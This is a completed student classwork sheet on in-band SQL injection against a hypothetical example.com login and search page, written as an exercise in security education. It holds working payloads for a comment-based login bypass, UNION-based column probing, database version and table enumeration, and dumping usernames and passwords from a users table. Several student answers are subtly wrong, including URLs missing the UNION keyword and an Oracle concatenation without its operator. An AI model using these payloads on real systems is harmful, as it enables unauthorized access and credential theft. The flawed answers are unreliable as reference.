

RollNo:

Name:

Choose an item.

Class Work 1 SQL Injection (In-band)

Note: Use the Reference Table at the end to know the commands as per the type of the database. Write the answer in the right hand side column. In the header write you rollno, name and after the class work is completed rate the class work by choosing the feedback given in the header.

1.

Scenario:

A web application has a login page with the following URL:

<http://example.com/login.php?>

With query=username and password

When you enter ' as the username the following error occurs

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version.

Goal: You have to find a login with admin credentials to enter the system. You donot know the table name nor the username/password for it.

What does this error for payload ' indicate about the application's SQL query handling?	The application is vulnerable to SQLi
Test it with username admin with password 'abc'. What is the url?	<i>http://example.com/login.php?username=admin &password=abs</i>
What is the output?	<i>Invalid username or password</i>
What stopped you from logging in?	<i>The username password pair was not correct</i>
What payload to login as admin without authentication?	<i>http://example.com/login.php?username=admin '+'--+&passowrd</i>
Write the Predicted Query.	<i>admin' --</i>
Write the Analysis.	Since a username "admin" already existed, we simply injected "--" in after the username field to comment the password check that helped us bypass the authentication/password check logging us in

Tatsam Pandey	K072	70102200065
---------------	------	-------------

Class Work 1 SQL Injection (In-band)

2.

Scenario:

The same application has a search feature with the following URL:

<http://example.com/search.php?>

With query=product

When testing with the payload product=article ' UNION SELECT '1' , '2' --, you observe the following output:

It displays 1 2 on separate lines as title and content of the product.

Goal: You have to find a login with admin credentials to enter the system. You donot know the table name nor the username/password for it.

<i>Now let's assume that you donot know if admin username exists for the following question:</i>	
What information is gained from the output?	There are 2 columns. And both are of data type String
Write the url when product 'article' is chosen.	http://example.com/search.php?product=article
How will you find the datatype if it is string from the columns?	we can iterate a UNION injection by checking for string columns one by one. ie. payload 1: ' UNION SELECT 'a', NULL -- payload 2: ' UNION SELECT NULL, 'a' --
Write a payload to extract the database version.	Payload: ' UNION SELECT NULL, @@version --
Write the Predicted Query.	SELECT * FROM x WHERE product='article' UNION SELECT NULL, @@version --'
What information is gained from this answer?	We learned what SQL server is running on the backend, enabling us to use more targetted SQLi queries
How can you list all table names in the current database assuming it is MySQL Server? Write the url.	Yes URL: http://example.com/search.php?product=article'+SELECT+NULL,+table_name+FROM+information_schema.tables+WHERE+table_schema=Database();--
Write the predicted query.	SELECT * FROM x WHERE product='article' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema=Database();
What information can be gained from this answer?	All the tables that the SQL server is hosting in the backend.
Use the above information (you found users table) to add a payload to list column names from the users table.	http://example.com/search.php?product=article'+SELECT+NULL,+names+FROM+users;--
Write the predicted query.	SELECT * FROM x WHERE product='article' UNION SELECT NULL, names FROM users;
What information can be gained from this answer?	All the various customers who have their identity registered in the database

RollNo:

Name:

Choose an item.

Class Work 1 SQL Injection (In-band)

Write a payload to extract the credentials of the users from a table named users.	http://example.com/search.php?product=article'+SELECT+names,+password+FROM+users; --
Write the predicted query.	SELECT * FROM x WHERE product='article' UNION SELECT names, password FROM users;
What information can be gained from this answer?	We get the user's name and the password that can be used to gain access to their account
How can you modify the attack if the application has limited output space (e.g., only one column first-one is string)? Try for MySQL Server and Oracle Server.	We can concatenate the output into a single string column to print the output without having to need multiple String columns. For MySQL we can use CONCAT(names, password) function
Write the predicted query.	SELECT * FROM x WHERE product='article' UNION SELECT CONCAT(names, password), NULL FROM users;
What information can be gained from this answer?	We got all the username and password pair that can be used to gain unauthorized access to their accounts and we don't need multiple string columns to get multiple string outputs.

RollNo:

Name:

Choose an item.

Class Work 1 SQL Injection (In-band)

Use the Table for reference:

Operation	MySQL Command	PostgreSQL Command	Oracle Command
Check Database Version	SELECT @@version;	SELECT version();	SELECT * FROM v\$version;
List All Tables in Schema	SELECT table_name FROM information_schema.tables WHERE table_schema=Database();	SELECT table_name FROM information_schema.tables WHERE table_schema=Database();	SELECT table_name FROM all_tables WHERE owner='SCHEMA_NAME';
List All Columns in Schema	SELECT column_name FROM information_schema.columns WHERE table_schema='schema_name';	SELECT column_name FROM information_schema.columns WHERE table_schema='schema_name';	SELECT column_name FROM all_tab_columns WHERE owner='SCHEMA_NAME';
Concat two strings	CONCAT(string1, string2)	CONCAT(string1, string2)	string1 string2